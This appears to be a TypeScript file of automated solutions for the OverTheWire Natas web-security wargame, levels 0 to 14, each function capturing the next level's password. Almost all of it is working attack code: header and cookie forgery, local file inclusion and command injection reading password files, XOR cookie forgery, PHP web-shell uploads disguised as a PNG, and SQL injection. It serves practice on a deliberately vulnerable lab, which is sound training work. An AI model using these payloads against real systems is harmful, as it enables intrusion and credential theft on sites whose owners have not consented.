210 lines
6.2 KiB
TypeScript
210 lines
6.2 KiB
TypeScript
|
import { bytes2str, determinePeriod, hex2bin, xor } from "./util";
|
||
|
|
||
|
const solves: SolveFn[] = [
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/");
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/The password for natas1 is ([^ ]+)/);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/");
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/The password for natas2 is ([^ ]+)/);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/files/users.txt");
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/^natas3:([^\s]+)$/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
// Discover this URL through /robots.txt
|
||
|
const result = await fetch("/s3cr3t/users.txt");
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/^natas4:([^\s]+)$/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/", {
|
||
|
headers: { Referer: "http://natas5.natas.labs.overthewire.org/" },
|
||
|
});
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/The password for natas5 is ([^\s]+)/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/", {
|
||
|
headers: { cookie: "loggedin=1" },
|
||
|
});
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/includes/secret.inc");
|
||
|
const text = await result.text();
|
||
|
const secret = text.match(/\$secret = "([^"]+)"/);
|
||
|
|
||
|
const params = new URLSearchParams([
|
||
|
["secret", secret[1]],
|
||
|
["submit", "Submit+Query"],
|
||
|
]);
|
||
|
const result2 = await fetch("/", {
|
||
|
method: "POST",
|
||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||
|
body: params.toString(),
|
||
|
});
|
||
|
const text2 = await result2.text();
|
||
|
|
||
|
const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
// Local file inclusion
|
||
|
const result = await fetch(
|
||
|
"/index.php?page=../../../../../etc/natas_webpass/natas8"
|
||
|
);
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const encodedSecret = "3d3d516343746d4d6d6c315669563362";
|
||
|
let secret: any = hex2bin(encodedSecret);
|
||
|
secret.reverse();
|
||
|
secret = bytes2str(secret);
|
||
|
secret = atob(secret);
|
||
|
|
||
|
const params = new URLSearchParams([
|
||
|
["secret", secret],
|
||
|
["submit", "Submit+Query"],
|
||
|
]);
|
||
|
const result = await fetch("/", {
|
||
|
method: "POST",
|
||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||
|
body: params.toString(),
|
||
|
});
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch(
|
||
|
"/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search"
|
||
|
);
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch(
|
||
|
"/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search"
|
||
|
);
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const result = await fetch("/");
|
||
|
const originalCiphertext = atob(
|
||
|
decodeURIComponent(result.headers.get("set-cookie").split("=")[1])
|
||
|
);
|
||
|
const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`;
|
||
|
const fullKey = xor(originalCiphertext, originalPlaintext);
|
||
|
const key = fullKey.slice(0, determinePeriod(fullKey));
|
||
|
|
||
|
const data = { showpassword: "yes", bgcolor: "#ffffff" };
|
||
|
const encrypted = encodeURIComponent(
|
||
|
btoa(bytes2str(xor(JSON.stringify(data), key)))
|
||
|
);
|
||
|
|
||
|
const result2 = await fetch("/", {
|
||
|
headers: { cookie: `data=${encrypted}` },
|
||
|
});
|
||
|
const text = await result2.text();
|
||
|
const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const data = new FormData();
|
||
|
data.append("filename", "index.php");
|
||
|
const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`;
|
||
|
data.append("uploadedfile", new Blob([payload]), "index.php");
|
||
|
const uploadResult = await fetch("/", {
|
||
|
method: "POST",
|
||
|
body: data,
|
||
|
});
|
||
|
|
||
|
const text = await uploadResult.text();
|
||
|
const urlMatch = text.match(/The file <a href="([^"]+)">/);
|
||
|
const url = urlMatch[1];
|
||
|
|
||
|
const fileResult = await fetch(url);
|
||
|
return (await fileResult.text()).trim();
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const data = new FormData();
|
||
|
data.append("filename", "index.php");
|
||
|
// From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
|
||
|
const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]);
|
||
|
const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`;
|
||
|
data.append("uploadedfile", new Blob([header, payload]), "index.png");
|
||
|
const uploadResult = await fetch("/", {
|
||
|
method: "POST",
|
||
|
body: data,
|
||
|
});
|
||
|
|
||
|
const text = await uploadResult.text();
|
||
|
console.log("result!", text);
|
||
|
const urlMatch = text.match(/The file <a href="([^"]+)">/);
|
||
|
const url = urlMatch[1];
|
||
|
|
||
|
const fileResult = await fetch(url);
|
||
|
const text2 = await fileResult.text();
|
||
|
const match = text2.match(/\(([^\)]+)\)/);
|
||
|
return match[1].trim();
|
||
|
},
|
||
|
|
||
|
async ({ fetch }) => {
|
||
|
const params = new URLSearchParams([
|
||
|
["username", `" or 1=1 or "`],
|
||
|
["password", ""],
|
||
|
]);
|
||
|
const result = await fetch("/", {
|
||
|
method: "POST",
|
||
|
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||
|
body: params.toString(),
|
||
|
});
|
||
|
const text = await result.text();
|
||
|
const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m);
|
||
|
return match[1];
|
||
|
},
|
||
|
];
|
||
|
|
||
|
export default solves;
|
||
|
|
||
|
interface SolveFn {
|
||
|
(props: SolveFnProps): string | Promise<string>;
|
||
|
}
|
||
|
|
||
|
interface SolveFnProps {
|
||
|
username: string;
|
||
|
prevPassword: string;
|
||
|
fetch: (url: string, init?: RequestInit) => Promise<Response>;
|
||
|
}
|